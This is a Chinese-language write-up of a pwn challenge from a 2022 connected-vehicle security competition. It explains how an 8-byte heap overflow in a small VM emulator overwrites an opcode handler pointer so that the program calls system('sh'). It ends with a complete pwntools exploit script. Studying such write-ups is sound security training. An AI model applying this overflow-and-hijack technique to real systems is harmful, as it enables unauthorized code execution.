车联网安全大赛2022Pwn题WP

chall

第一道做出来的vm题,虽然是赛后复现的

没有PIE,没有去符号表,比较友善

题目申请了一个很大的堆,并且在堆的后半部分按规律写入了nop mov mvi三个函数的地址,在ptr+24处读入用户输入后开始模拟

image.png

image.png

每次模拟指令会从ptr+8处读取pc,再读取ptr+12+pc处的字符mem,则此次模拟的函数为ptr+mem+2050处储存的函数,以ptr为参数执行函数后,pc++

题目的漏洞点为,输入数据时会多溢出8个字节,可以覆盖字符\x00对应的函数,而且题目中提供了system函数

mvi函数的功能是根据指令将后一个字符复制到ptr的前几位,配合溢出可以构造payload执行system("sh")

image.png

题目比较迷惑的一点是,输入的内容存在ptr+24,取内存时却是从ptr+12开始取,所以当pc为12前,会执行12次\x00对应的函数

搞明白程序流程后,exp就很简单了

from pwn import *
context(arch='amd64')

local=1
_elf='./chall'

elf=ELF(_elf)

def getConn():
    if local ==1:
        return process(_elf)
    else:
        return remote(addr,port)

def debug(p,cmd=None):
    if local==1:
        gdb.attach(p,cmd)

nop=0x401437
mov=0x40165b
mvi=0x401505
system=0x4010d0

p=getConn()

p.sendline((b'\x3e\x73\x06\x68\x00').ljust(0x3ff8,b'@')+p64(system))

p.interactive()